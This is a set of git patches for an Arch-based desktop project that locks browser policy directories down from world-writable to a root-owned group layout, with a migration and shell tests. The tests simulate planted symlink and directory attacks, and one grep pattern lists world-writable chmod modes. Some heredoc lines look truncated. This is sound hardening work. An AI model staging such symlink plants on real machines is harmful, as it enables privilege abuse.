00000000..005ae351 --- /dev/null +++ b/install/helpers/as-root.sh @@ -0,0 +1,7 @@ +as_root() { + if (( EUID == 0 )); then + "$@" + else + sudo "$@" + fi +} diff --git a/install/helpers/browser-policy.sh b/install/helpers/browser-policy.sh new file mode 100644 index 00000000..803df2c6 --- /dev/null +++ b/install/helpers/browser-policy.sh @@ -0,0 +1,171 @@ +# Chromium-family machine policy is mandatory for every profile. A dedicated +# group at 2775 lets every Omarchy user write color.json and every other uid +# read; other-write stays off. Setgid so new files inherit the group. + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/as-root.sh" + +BROWSER_POLICY_GROUP=omarchy-browser-policy + +BROWSER_POLICY_MANAGED_DIRS=( + /etc/chromium/policies/managed + /etc/opt/chrome/policies/managed + /etc/opt/edge/policies/managed + /etc/brave/policies/managed +) + +BROWSER_POLICY_FIREFOX_DIRS=( + /usr/lib/firefox/distribution + /opt/zen-browser/distribution +) + +browser_policy_setup_group() { + local provisioning_dir="${OMARCHY_PROVISIONING_DIR:-/var/lib/omarchy/provisioning}" + + as_root groupadd --system --force "$BROWSER_POLICY_GROUP" + as_root mkdir -p "$provisioning_dir" + if ! grep -qxF "$BROWSER_POLICY_GROUP" "$provisioning_dir/groups" 2>/dev/null; then + printf '%s\n' "$BROWSER_POLICY_GROUP" | as_root tee -a "$provisioning_dir/groups" >/dev/null + fi + + if [[ -n ${OMARCHY_INSTALL_USER:-} ]] && getent passwd "$OMARCHY_INSTALL_USER" >/dev/null; then + as_root usermod -aG "$BROWSER_POLICY_GROUP" "$OMARCHY_INSTALL_USER" + fi +} + +browser_policy_grant_user() { + local user=${1:-} + + if [[ -z $user || $user == "root" ]]; then + user=${SUDO_USER:-} + fi + + [[ -n $user && $user != "root" ]] || return 0 + getent passwd "$user" >/dev/null || return 0 + as_root usermod -aG "$BROWSER_POLICY_GROUP" "$user" +} + +browser_policy_purge_dir() { + local dir=$1 + + as_root find "$dir" -mindepth 1 -maxdepth 1 ! -user root -exec rm -rf -- {} + +} + +browser_policy_dir_hardened() { + local dir=$1 + + [[ -d $dir ]] || return 1 + [[ $(stat -c '%a' "$dir") == "2775" ]] || return 1 + [[ $(stat -c '%U' "$dir") == "root" ]] || return 1 + [[ $(stat -c '%G' "$dir") == $BROWSER_POLICY_GROUP ]] || return 1 +} + +browser_policy_setup_dir() { + local dir=$1 + + as_root install -d -m 2775 -o root -g "$BROWSER_POLICY_GROUP" "$dir" + browser_policy_purge_dir "$dir" +} + +browser_policy_file_owner() { + local user + + if [[ -n ${OMARCHY_INSTALL_USER:-} && $OMARCHY_INSTALL_USER != "root" ]]; then + printf '%s\n' "$OMARCHY_INSTALL_USER" + return + fi + if [[ -n ${SUDO_USER:-} && $SUDO_USER != "root" ]]; then + printf '%s\n' "$SUDO_USER" + return + fi + if [[ -n ${PKEXEC_UID:-} ]]; then + user=$(getent passwd "$PKEXEC_UID" | cut -d: -f1) + if [[ -n $user && $user != "root" ]]; then + printf '%s\n' "$user" + return + fi + fi + user=${USER:-$(id -un)} + if [[ $user != "root" ]]; then + printf '%s\n' "$user" + fi +} + +# sudo when this process has a controlling terminal (fd 0 is /dev/null under +# `bash -lc cmd &`, but /dev/tty still works). pkexec when it does not. +browser_policy_elevate() { + if (( EUID == 0 )); then + "$@" + elif { exec 3/dev/null; then + exec 3<&- + sudo "$@" + else + pkexec "$@" + fi +} + +browser_policy_write_color() { + local policy_dir=$1 + local hex=$2 + local dest=$policy_dir/color.json + local payload + local tmp + local owner + + [[ -d $policy_dir ]] || return 0 + + payload=$(printf '{"BrowserThemeColor": "%s", "BrowserColorScheme": "device"}\n' "$hex") + tmp=$(mktemp) || return 1 + printf '%s' "$payload" >"$tmp" + + # A planted symlink or directory must not be written through or into. + if [[ -L $dest || -d $dest ]]; then + if ! rm -rf -- "$dest" 2>/dev/null; then + if ! browser_policy_elevate rm -rf -- "$dest"; then + rm -f "$tmp" + echo "omarchy-theme-set-browser: cannot replace $dest (need group $BROWSER_POLICY_GROUP)" >&2 + return 1 + fi + fi + fi + + if install -m 664 -T "$tmp" "$dest" 2>/dev/null; then + rm -f "$tmp" + return 0 + fi + + owner=$(browser_policy_file_owner) + [[ -n $owner ]] || owner=root + if browser_policy_elevate install -m 664 -o "$owner" -g "$BROWSER_POLICY_GROUP" -T "$tmp" "$dest"; then + rm -f "$tmp" + return 0 + fi + + rm -f "$tmp" + echo "omarchy-theme-set-browser: cannot write $dest (need group $BROWSER_POLICY_GROUP)" >&2 + return 1 +} + +browser_policy_firefox_hardened() { + local dir=$1 + + [[ -d $dir ]] || return 1 + [[ $(stat -c '%a' "$dir") == "755" ]] || return 1 + [[ $(stat -c '%U' "$dir") == "root" ]] || return 1 + [[ -f $dir/policies.json && ! -L $dir/policies.json ]] || return 1 +} + +browser_policy_install_firefox_policies() { + local distribution_dir=$1 + local policies=${2:-$OMARCHY_PATH/default/firefox/policies.json} + + as_root install -m 644 -o root -g root -T "$policies" "$distribution_dir/policies.json" +} + +browser_policy_setup_firefox_distribution() { + local distribution_dir=$1 + local policies=${2:-$OMARCHY_PATH/default/firefox/policies.json} + + as_root install -d -m 0755 -o root -g root "$distribution_dir" + browser_policy_purge_dir "$distribution_dir" + browser_policy_install_firefox_policies "$distribution_dir" "$policies" +} diff --git a/migrations/1787515927.sh b/migrations/1787515927.sh new file mode 100644 index 00000000..f15298bd --- /dev/null +++ b/migrations/1787515927.sh @@ -0,0 +1,24 @@ +echo "Stop world-writable Chromium and Firefox policy directories" + +source "$OMARCHY_PATH/install/helpers/browser-policy.sh" + +browser_policy_setup_group +browser_policy_grant_user "${USER:-$(id -un)}" + +repaired=0 +for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do + [[ -d $dir ]] || continue + browser_policy_dir_hardened "$dir" && continue + browser_policy_setup_dir "$dir" + repaired=1 +done + +if (( repaired )); then + omarchy-theme-set-browser +fi + +for dir in "${BROWSER_POLICY_FIREFOX_DIRS[@]}"; do + [[ -d $dir ]] || continue + browser_policy_firefox_hardened "$dir" && continue + browser_policy_setup_firefox_distribution "$dir" +done diff --git a/test/shell.d/browser-policy-dir-test.sh b/test/shell.d/browser-policy-dir-test.sh new file mode 100755 index 00000000..34a0c3cd --- /dev/null +++ b/test/shell.d/browser-policy-dir-test.sh @@ -0,0 +1,244 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin=$test_tmp/bin +mkdir -p "$mock_bin" +elev_log=$test_tmp/elev.log +cat >"$mock_bin/sudo" <>"$elev_log" +[[ \${OMARCHY_TEST_SUDO_FAIL:-} == 1 ]] && exit 1 +exit 0 +SH +cat >"$mock_bin/pkexec" <>"$elev_log" +[[ \${OMARCHY_TEST_SUDO_FAIL:-} == 1 ]] && exit 1 +exit 0 +SH +chmod +x "$mock_bin/sudo" "$mock_bin/pkexec" +export PATH="$mock_bin:$PATH" +: >"$elev_log" +export OMARCHY_PATH="$ROOT" +export OMARCHY_PROVISIONING_DIR="$test_tmp/provisioning" + +source "$ROOT/install/helpers/browser-policy.sh" + +# Temp dirs are user-owned; drop -o/-g so install(1) can run unprivileged. +unprivileged_as_root() { + if [[ $1 == "install" ]]; then + shift + local args=() + local skip=0 + local arg + for arg in "$@"; do + if (( skip )); then + skip=0 + continue + fi + case $arg in + -o|-g) skip=1 ;; + *) args+=("$arg") ;; + esac + done + command install "${args[@]}" + else + "$@" + fi +} + +write_dir=$test_tmp/writable +mkdir -p "$write_dir" +browser_policy_write_color "$write_dir" "#aabbcc" || + fail "theme colour writes into a writable policy directory" +grep -F '"BrowserThemeColor": "#aabbcc"' "$write_dir/color.json" >/dev/null || + fail "theme colour writes BrowserThemeColor" +mode=$(stat -c '%a' "$write_dir/color.json") +[[ $mode == "664" ]] || fail "theme colour creates a group-writable policy file" "mode=$mode" +pass "theme colour writes a group-writable color.json" + +if (( EUID == 0 )); then + pass "running as root; skipping the mktemp-failure check" +else + chmod u+w "$write_dir" + export TMPDIR=$test_tmp/missing-tmp + if browser_policy_write_color "$write_dir" "#dead00" 2>/dev/null; then + fail "theme colour fails when mktemp cannot create a file" + fi + unset TMPDIR + grep -F '"BrowserThemeColor": "#aabbcc"' "$write_dir/color.json" >/dev/null || + fail "a failed mktemp leaves an existing color.json intact" + pass "a failed mktemp does not truncate color.json" +fi + +printf 'original\n' >"$test_tmp/pwn" +rm -f "$write_dir/color.json" +ln -s "$test_tmp/pwn" "$write_dir/color.json" +browser_policy_write_color "$write_dir" "#aabbcc" || + fail "theme colour replaces a planted color.json symlink" +[[ -f $write_dir/color.json && ! -L $write_dir/color.json ]] || + fail "theme colour unlinks a planted color.json symlink instead of writing through it" +grep -Fxq 'original' "$test_tmp/pwn" || fail "theme colour leaves the symlink target unchanged" +pass "theme colour does not follow a planted color.json symlink" + +plant_write=$test_tmp/plant-dir +mkdir -p "$plant_write/color.json/nested" +printf 'inside\n' >"$plant_write/color.json/nested/x" +browser_policy_write_color "$plant_write" "#aabbcc" || + fail "theme colour replaces a planted color.json directory" +[[ -f $plant_write/color.json && ! -d $plant_write/color.json ]] || + fail "theme colour does not write into a planted color.json directory" +pass "theme colour does not write into a planted color.json directory" + +missing_dir=$test_tmp/missing +browser_policy_write_color "$missing_dir" "#aabbcc" || + fail "theme colour skips a policy directory that does not exist" +[[ ! -e $missing_dir ]] || fail "theme colour does not create a missing policy directory" +pass "theme colour skips a missing policy directory" + +if (( EUID == 0 )); then + pass "running as root; skipping elevation checks" +else + denied_dir=$test_tmp/denied + mkdir -p "$denied_dir" + chmod a-w "$denied_dir" + owner=${USER:-$(id -un)} + : >"$elev_log" + browser_policy_write_color "$denied_dir" "#aabbcc" || + fail "elevated install reports success from pkexec" + grep -E "^PKEXEC install -m 664 -o $owner -g omarchy-browser-policy -T .+ $denied_dir/color.json$" "$elev_log" >/dev/null || + fail "without a controlling tty, colour write elevates through pkexec as the owner" "$(cat "$elev_log")" + if grep -E '^SUDO ' "$elev_log" >/dev/null; then + fail "without a controlling tty, colour write does not call sudo" "$(cat "$elev_log")" + fi + pass "without a controlling tty, colour write elevates through pkexec" + + : >"$elev_log" + export OMARCHY_TEST_SUDO_FAIL=1 + if browser_policy_write_color "$denied_dir" "#aabbcc" 2>"$test_tmp/write.err"; then + fail "theme colour fails when the policy directory is not writable" + fi + unset OMARCHY_TEST_SUDO_FAIL + grep -F 'omarchy-browser-policy' "$test_tmp/write.err" >/dev/null || + fail "theme colour names the group when the write is denied" + pass "theme colour reports a denied policy write" + + if command -v script >/dev/null; then + : >"$elev_log" + cat >"$test_tmp/tty-write.sh" </dev/null + grep -E "^SUDO install -m 664 -o $owner -g omarchy-browser-policy -T .+ $denied_dir/color.json$" "$elev_log" >/dev/null || + fail "with a controlling tty, colour write elevates through sudo" "$(cat "$elev_log")" + if grep -E '^PKEXEC ' "$elev_log" >/dev/null; then + fail "with a controlling tty, colour write does not call pkexec" "$(cat "$elev_log")" + fi + pass "with a controlling tty, colour write elevates through sudo" + else + pass "script(1) unavailable; skipping the controlling-tty elevation check" + fi +fi + +planted_dir=$test_tmp/planted +mkdir -p "$planted_dir/evil" +printf 'evil\n' >"$planted_dir/evil/f" +printf 'old\n' >"$planted_dir/color.json" +as_root() { unprivileged_as_root "$@"; } +browser_policy_setup_dir "$planted_dir" +[[ ! -e $planted_dir/evil ]] || fail "policy setup drops a non-empty non-root subdirectory" +[[ ! -e $planted_dir/color.json ]] || fail "policy setup drops a non-root color.json" +[[ -d $planted_dir ]] || fail "policy setup leaves the managed directory in place" +pass "policy setup drops non-root files and non-empty subdirectories" + +owned=$test_tmp/not-root +mkdir -p "$owned" +chmod 2775 "$owned" +BROWSER_POLICY_GROUP=$(id -gn) +if browser_policy_dir_hardened "$owned"; then + fail "a user-owned 2775 directory is not treated as hardened" +fi +BROWSER_POLICY_GROUP=omarchy-browser-policy +pass "a hardened directory must be root-owned" + +dist=$test_tmp/distribution +mkdir -p "$dist" +printf 'original\n' >"$test_tmp/firefox-pwn" +ln -s "$test_tmp/firefox-pwn" "$dist/policies.json" +as_root() { unprivileged_as_root "$@"; } +browser_policy_install_firefox_policies "$dist" || + fail "Firefox policy install replaces a planted policies.json symlink" +[[ -f $dist/policies.json && ! -L $dist/policies.json ]] || + fail "Firefox policy install unlinks a planted policies.json symlink instead of writing through it" +grep -Fxq 'original' "$test_tmp/firefox-pwn" || fail "Firefox policy install leaves the symlink target unchanged" +grep -q '"policies"' "$dist/policies.json" || fail "Firefox policy install writes the stock policies" +pass "Firefox policy install does not follow a planted policies.json symlink" + +dir_dist=$test_tmp/distribution-dir +mkdir -p "$dir_dist" +mkdir "$dir_dist/policies.json" +as_root() { unprivileged_as_root "$@"; } +if browser_policy_install_firefox_policies "$dir_dist" 2>/dev/null; then + fail "Firefox policy install refuses a planted policies.json directory" +fi +[[ -d $dir_dist/policies.json ]] || fail "Firefox policy install leaves a planted policies.json directory in place" +pass "Firefox policy install does not write into a planted policies.json directory" + +grant_log=$test_tmp/usermod.calls +as_root() { + if [[ $1 == "usermod" ]]; then + printf '%s\n' "$*" >>"$grant_log" + return 0 + fi + unprivileged_as_root "$@" +} +invoker=${USER:-$(id -un)} +: >"$grant_log" +SUDO_USER=$invoker +browser_policy_grant_user root +unset SUDO_USER +grep -qx -- "usermod -aG omarchy-browser-policy $invoker" "$grant_log" || + fail "granting as root uses SUDO_USER" "$(cat "$grant_log")" +: >"$grant_log" +OMARCHY_INSTALL_USER="" +browser_policy_grant_user "" +[[ ! -s $grant_log ]] || fail "an empty grant does not usermod" +pass "sudo install browser grants the invoking user, not root" + +grep -F 'exit "$failed"' "$ROOT/bin/omarchy-theme-set-browser" >/dev/null || + fail "omarchy-theme-set-browser exits non-zero when a policy write fails" +pass "omarchy-theme-set-browser exits non-zero when a policy write fails" + +policy_files=( + "$ROOT/bin/omarchy-install-browser" + "$ROOT/bin/omarchy-provision-owner" + "$ROOT/bin/omarchy-theme-set-browser" + "$ROOT/bin/omarchy-upgrade-to-quattro" + "$ROOT/install/config/theme-system.sh" + "$ROOT/install/config/browser-policy.sh" + "$ROOT/install/helpers/browser-policy.sh" + "$ROOT/migrations/1787515927.sh" +) +if grep -nE 'chmod a\+rwx\b|chmod a\+rw\b|chmod a\+w\b|chmod o\+w|chmod ugo\+w|chmod 2777\b|chmod 0777\b|chmod 777\b|install -d -m 0?[27]?777' "${policy_files[@]}" >/dev/null; then + fail "browser policy setup is not world-writable" +fi +pass "browser policy setup is not world-writable" + +mapfile -t migrations < <(rg -l 'Stop world-writable Chromium and Firefox policy directories' "$ROOT/migrations") +(( ${#migrations[@]} == 1 )) || fail "exactly one migration locks existing policy directories" "${migrations[*]}" +grep -F 'browser_policy_dir_hardened' "${migrations[0]}" >/dev/null || + fail "the policy-directory migration no-ops a machine already repaired" +grep -F 'browser_policy_grant_user' "${migrations[0]}" >/dev/null || + fail "the policy-directory migration still grants the current user the group" +grep -F 'BROWSER_POLICY_FIREFOX_DIRS' "${migrations[0]}" >/dev/null || + fail "the policy-directory migration covers Firefox and Zen" +grep -F '/opt/zen-browser/distribution' "$ROOT/install/helpers/browser-policy.sh" >/dev/null || + fail "the shared helper names the Zen distribution directory" +pass "a migration locks existing policy directories" diff --git a/test/shell.d/default-apps-test.sh b/test/shell.d/default-apps-test.sh index aa07659d..00a9af55 100755 --- a/test/shell.d/default-apps-test.sh +++ b/test/shell.d/default-apps-test.sh @@ -61,11 +61,13 @@ if [[ $installer == "omarchy-install-browser" && ${OMARCHY_TEST_REAL_BROWSER_INS fi case $installer in -omarchy-pkg-add) +omarchy-pkg-add|omarchy-pkg-aur-add) package=$1 printf 'pkg:%s\n' "$package" >>"$OMARCHY_TEST_INSTALL_LOG" case $package in chromium) command=chromium ;; + firefox) command=firefox ;; + zen-browser-bin) command=zen-browser ;; cursor-bin) command=cursor ;; sublime-text-4) command=sublime_text ;; vim) command=vim ;; @@ -107,6 +109,7 @@ SH for installer in \ omarchy-pkg-add \ + omarchy-pkg-aur-add \ omarchy-install-browser \ omarchy-install-terminal \ omarchy-install-editor-vscode \ @@ -205,10 +208,14 @@ OMARCHY_TEST_REAL_BROWSER_INSTALL=true omarchy-default-browser --install chromiu [[ $(omarchy-default-browser) == "chromium" ]] || fail "Chromium becomes the default after its full installer succeeds" cmp -s "$ROOT/config/chromium-flags.conf" "$test_home/.config/chromium-flags.conf" || fail "Chromium browser installer copies the default flags" -grep -Fxq 'sudo:mkdir -p /etc/chromium/policies/managed' "$setup_log" || - fail "Chromium browser installer creates its policy directory" -grep -Fxq 'sudo:chmod a+rw /etc/chromium/policies/managed' "$setup_log" || - fail "Chromium browser installer makes its policy directory writable" +grep -Fxq 'sudo:groupadd --system --force omarchy-browser-policy' "$setup_log" || + fail "Chromium browser installer creates the browser-policy group" +grep -Fxq 'sudo:install -d -m 2775 -o root -g omarchy-browser-policy /etc/chromium/policies/managed' "$setup_log" || + fail "Chromium browser installer creates a group-writable managed policy directory" +grep -Fxq 'sudo:find /etc/chromium/policies/managed -mindepth 1 -maxdepth 1 ! -user root -exec rm -rf -- {} +' "$setup_log" || + fail "Chromium browser installer drops non-root files from its policy directory" +grep -Fxq "sudo:usermod -aG omarchy-browser-policy ${USER:-$(id -un)}" "$setup_log" || + fail "Chromium browser installer grants the installing user the browser-policy group" grep -Fxq 'omarchy-install-chromium-copy-url:' "$setup_log" || fail "Chromium browser installer registers the Copy URL host" grep -Fxq 'omarchy-install-chromium-ytdlp:' "$setup_log" || @@ -217,6 +224,36 @@ grep -Fxq 'omarchy-theme-set-browser:' "$setup_log" || fail "Chromium browser installer applies the current theme" pass "Chromium browser installer restores the complete Omarchy setup" +: >"$install_log" +: >"$setup_log" +rm -f "$installed_dir/firefox" +OMARCHY_TEST_REAL_BROWSER_INSTALL=true omarchy-default-browser --install firefox >/dev/null +[[ $(<"$install_log") == "pkg:firefox" ]] || fail "Firefox browser installer installs the package" +[[ $(omarchy-default-browser) == "firefox" ]] || fail "Firefox becomes the default after its full installer succeeds" +grep -Fxq 'sudo:install -d -m 0755 -o root -g root /usr/lib/firefox/distribution' "$setup_log" || + fail "Firefox browser installer creates its distribution directory" +grep -Fxq 'sudo:find /usr/lib/firefox/distribution -mindepth 1 -maxdepth 1 ! -user root -exec rm -rf -- {} +' "$setup_log" || + fail "Firefox browser installer drops non-root files from its distribution directory" +grep -Fxq "sudo:install -m 644 -o root -g root -T $ROOT/default/firefox/policies.json /usr/lib/firefox/distribution/policies.json" "$setup_log" || + fail "Firefox browser installer copies policies.json without following a destination symlink" +[[ -e $installed_dir/firefox ]] || fail "Firefox browser installer marks firefox installed" +pass "Firefox browser installer restores the complete Omarchy setup" + +: >"$install_log" +: >"$setup_log" +rm -f "$installed_dir/zen-browser" +OMARCHY_TEST_REAL_BROWSER_INSTALL=true omarchy-default-browser --install zen >/dev/null +[[ $(<"$install_log") == "pkg:zen-browser-bin" ]] || fail "Zen browser installer installs the package" +[[ $(omarchy-default-browser) == "zen" ]] || fail "Zen becomes the default after its full installer succeeds" +grep -Fxq 'sudo:install -d -m 0755 -o root -g root /opt/zen-browser/distribution' "$setup_log" || + fail "Zen browser installer creates its distribution directory" +grep -Fxq 'sudo:find /opt/zen-browser/distribution -mindepth 1 -maxdepth 1 ! -user root -exec rm -rf -- {} +' "$setup_log" || + fail "Zen browser installer drops non-root files from its distribution directory" +grep -Fxq "sudo:install -m 644 -o root -g root -T $ROOT/default/firefox/policies.json /opt/zen-browser/distribution/policies.json" "$setup_log" || + fail "Zen browser installer copies policies.json without following a destination symlink" +[[ -e $installed_dir/zen-browser ]] || fail "Zen browser installer marks zen-browser installed" +pass "Zen browser installer restores the complete Omarchy setup" + omarchy-default-browser zen rm -f "$installed_dir/chromium" if OMARCHY_TEST_REAL_BROWSER_INSTALL=true OMARCHY_TEST_INSTALL_FAIL=true \ diff --git a/test/shell.d/provisioning-groups-test.sh b/test/shell.d/provisioning-groups-test.sh index d0eac226..7b5c6964 100644 --- a/test/shell.d/provisioning-groups-test.sh +++ b/test/shell.d/provisioning-groups-test.sh @@ -27,16 +27,40 @@ cat >"$TMPDIR/bin/usermod" <>"$TMPDIR/usermod.calls" STUB -chmod +x "$TMPDIR/bin/getent" "$TMPDIR/bin/usermod" +cat >"$TMPDIR/bin/groupadd" <>"$TMPDIR/groupadd.calls" +STUB +cat >"$TMPDIR/bin/install" <>"$TMPDIR/install.calls" +STUB +cat >"$TMPDIR/bin/find" <>"$TMPDIR/find.calls" +STUB +cat >"$TMPDIR/bin/sudo" <>"$TMPDIR/sudo.calls" +exec "\$@" +STUB +chmod +x "$TMPDIR/bin"/{getent,usermod,groupadd,install,find,sudo} export PATH="$TMPDIR/bin:$PATH" +export OMARCHY_PATH="$ROOT" -# No install user (deferred-provisioning install): input recorded, usermod not called. +# No install user (deferred-provisioning install): groups recorded, usermod not called. OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/docker.sh" OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/hardware/input-group.sh" +OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/browser-policy.sh" [[ -f $OMARCHY_PROVISIONING_DIR/groups ]] || fail "groups file written without an install user" grep -qxF input "$OMARCHY_PROVISIONING_DIR/groups" || fail "input group recorded" +grep -qxF omarchy-browser-policy "$OMARCHY_PROVISIONING_DIR/groups" || fail "browser-policy group recorded" [[ ! -f $TMPDIR/usermod.calls ]] || fail "usermod not called without an install user" +grep -F -- '--system --force omarchy-browser-policy' "$TMPDIR/groupadd.calls" >/dev/null || + fail "browser-policy group is created as a system group" +grep -F -- '-d -m 2775 -o root -g omarchy-browser-policy /etc/chromium/policies/managed' "$TMPDIR/install.calls" >/dev/null || + fail "browser-policy directory is created group-writable" pass "deferred provisioning records groups without calling usermod" # The docker group is root-equivalent and must never be granted automatically. @@ -45,17 +69,24 @@ pass "docker group is not recorded at install" # Missing user (defensive): no usermod either. OMARCHY_INSTALL_USER=ghost bash -eE "$ROOT/install/hardware/input-group.sh" +OMARCHY_INSTALL_USER=ghost bash -eE "$ROOT/install/config/browser-policy.sh" [[ ! -f $TMPDIR/usermod.calls ]] || fail "usermod not called for a missing user" pass "missing install user defers group grants" # Re-running never duplicates entries. OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/hardware/input-group.sh" [[ $(grep -cxF input "$OMARCHY_PROVISIONING_DIR/groups") == 1 ]] || fail "input group recorded once" +OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/browser-policy.sh" +[[ $(grep -cxF omarchy-browser-policy "$OMARCHY_PROVISIONING_DIR/groups") == 1 ]] || + fail "browser-policy group recorded once" pass "group recording is idempotent" # Existing user: usermod applies the recorded groups, and docker is never among them. OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/config/docker.sh" OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/hardware/input-group.sh" +OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/config/browser-policy.sh" grep -qx -- "-aG input existing" "$TMPDIR/usermod.calls" || fail "usermod grants input to the install user" +grep -qx -- "-aG omarchy-browser-policy existing" "$TMPDIR/usermod.calls" || + fail "usermod grants browser-policy to the install user" ! grep -q -- "docker" "$TMPDIR/usermod.calls" || fail "usermod must not grant docker to the install user" -pass "existing install user gets input but never docker" +pass "existing install user gets input and browser-policy but never docker" diff --git a/test/shell.d/upgrade-to-quattro-test.sh b/test/shell.d/upgrade-to-quattro-test.sh index bf94605f..c38c17f7 100644 --- a/test/shell.d/upgrade-to-quattro-test.sh +++ b/test/shell.d/upgrade-to-quattro-test.sh @@ -67,6 +67,23 @@ grep -F 'OMARCHY_INSTALL_USER="$target_user"' "$upgrade_to_quattro" >/dev/null grep -F '"$apply_lock"' "$upgrade_to_quattro" >/dev/null pass "Omarchy 4 upgrade configures lock screen authentication for the target user" +grep -F 'install/helpers/browser-policy.sh' "$upgrade_to_quattro" >/dev/null || + fail "Omarchy 4 upgrade uses the shared browser-policy helper" +grep -F 'as_root test -f "$browser_policy_helper"' "$upgrade_to_quattro" >/dev/null || + fail "Omarchy 4 upgrade survives a packaged tree without the browser-policy helper" +grep -F 'browser_policy_setup_group' "$upgrade_to_quattro" >/dev/null || + fail "Omarchy 4 upgrade creates the browser-policy group" +grep -F 'browser_policy_setup_dir /etc/chromium/policies/managed' "$upgrade_to_quattro" >/dev/null || + fail "Omarchy 4 upgrade creates a group-writable Chromium policy directory" +grep -F 'BROWSER_POLICY_MANAGED_DIRS' "$upgrade_to_quattro" >/dev/null || + fail "Omarchy 4 upgrade hardens every Chromium-family policy directory" +grep -F 'run_as_user_omarchy omarchy-theme-set-browser' "$upgrade_to_quattro" >/dev/null || + fail "Omarchy 4 upgrade rewrites browser theme colour after a headless theme-set" +if grep -E 'install -d -m 0?[27]?777 /etc/.*/policies|chmod a\+rw' "$upgrade_to_quattro" >/dev/null; then + fail "Omarchy 4 upgrade does not create a world-writable Chromium policy directory" +fi +pass "Omarchy 4 upgrade locks the Chromium policy directory to the browser-policy group" + grep -F 'OMARCHY_UPGRADE_TO_QUATTRO_LIVE=1' "$upgrade_to_quattro" >/dev/null grep -F 'systemd-networkd.service' "$upgrade_to_quattro" >/dev/null grep -F 'systemd-networkd.socket' "$upgrade_to_quattro" >/dev/null From b0e6611c704e617a238d250ab62109047a8239ac Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Mon, 24 Aug 2026 02:01:24 -0600 Subject: [PATCH 060/336] Require root-owned Firefox policies before skipping repair The hardened gate only looked at the distribution directory. A regular policies.json planted under the old 777 mode would then be left in place if the directory later looked 755/root. --- install/helpers/browser-policy.sh | 16 +++++++++++++++- test/shell.d/browser-policy-dir-test.sh | 12 ++++++++++++ 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/install/helpers/browser-policy.sh b/install/helpers/browser-policy.sh index 803df2c6..b383e325 100644 --- a/install/helpers/browser-policy.sh +++ b/install/helpers/browser-policy.sh @@ -145,13 +145,27 @@ browser_policy_write_color() { return 1 } +browser_policy_firefox_policy_file_ok() { + local file=$1 + local mode + local group_write + local other_write + + [[ -f $file && ! -L $file ]] || return 1 + [[ $(stat -c '%U' "$file") == "root" ]] || return 1 + mode=$(stat -c '%a' "$file") + group_write=$((8#${mode: -2:1})) + other_write=$((8#${mode: -1})) + (( (group_write & 2) == 0 && (other_write & 2) == 0 )) +} + browser_policy_firefox_hardened() { local dir=$1 [[ -d $dir ]] || return 1 [[ $(stat -c '%a' "$dir") == "755" ]] || return 1 [[ $(stat -c '%U' "$dir") == "root" ]] || return 1 - [[ -f $dir/policies.json && ! -L $dir/policies.json ]] || return 1 + browser_policy_firefox_policy_file_ok "$dir/policies.json" } browser_policy_install_firefox_policies() { diff --git a/test/shell.d/browser-policy-dir-test.sh b/test/shell.d/browser-policy-dir-test.sh index 34a0c3cd..c7b795fc 100755 --- a/test/shell.d/browser-policy-dir-test.sh +++ b/test/shell.d/browser-policy-dir-test.sh @@ -168,6 +168,18 @@ fi BROWSER_POLICY_GROUP=omarchy-browser-policy pass "a hardened directory must be root-owned" +fx_policy=$test_tmp/policies.json +printf '%s\n' '{"policies":{}}' >"$fx_policy" +chmod 644 "$fx_policy" +if browser_policy_firefox_policy_file_ok "$fx_policy"; then + fail "a user-owned policies.json is not treated as hardened" +fi +ln -sf "$fx_policy" "$test_tmp/policies-link.json" +if browser_policy_firefox_policy_file_ok "$test_tmp/policies-link.json"; then + fail "a policies.json symlink is not treated as hardened" +fi +pass "Firefox policy files must be root-owned regular files without group or other write" + dist=$test_tmp/distribution mkdir -p "$dist" printf 'original\n' >"$test_tmp/firefox-pwn" From 87dfa14c5645d37bc9df454450f91680ffe587dc Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Mon, 24 Aug 2026 10:58:33 -0600 Subject: [PATCH 061/336] Keep a trusted Firefox policies.json when repairing the directory A world-writable distribution dir failed the hardened check even when policies.json was already root-owned, and setup then overwrote it. --- migrations/1787515927.sh | 6 +++++- test/shell.d/browser-policy-dir-test.sh | 2 ++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/migrations/1787515927.sh b/migrations/1787515927.sh index f15298bd..e16efd20 100644 --- a/migrations/1787515927.sh +++ b/migrations/1787515927.sh @@ -20,5 +20,9 @@ fi for dir in "${BROWSER_POLICY_FIREFOX_DIRS[@]}"; do [[ -d $dir ]] || continue browser_policy_firefox_hardened "$dir" && continue - browser_policy_setup_firefox_distribution "$dir" + as_root install -d -m 0755 -o root -g root "$dir" + browser_policy_purge_dir "$dir" + if ! browser_policy_firefox_policy_file_ok "$dir/policies.json"; then + browser_policy_install_firefox_policies "$dir" + fi done diff --git a/test/shell.d/browser-policy-dir-test.sh b/test/shell.d/browser-policy-dir-test.sh index c7b795fc..63591de1 100755 --- a/test/shell.d/browser-policy-dir-test.sh +++ b/test/shell.d/browser-policy-dir-test.sh @@ -251,6 +251,8 @@ grep -F 'browser_policy_grant_user' "${migrations[0]}" >/dev/null || fail "the policy-directory migration still grants the current user the group" grep -F 'BROWSER_POLICY_FIREFOX_DIRS' "${migrations[0]}" >/dev/null || fail "the policy-directory migration covers Firefox and Zen" +grep -F 'browser_policy_firefox_policy_file_ok' "${migrations[0]}" >/dev/null || + fail "the policy-directory migration keeps a trusted Firefox policies.json" grep -F '/opt/zen-browser/distribution' "$ROOT/install/helpers/browser-policy.sh" >/dev/null || fail "the shared helper names the Zen distribution directory" pass "a migration locks existing policy directories" From bebe19bc70696c916d4fa1d0fd39d480bfff99a0 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Tue, 25 Aug 2026 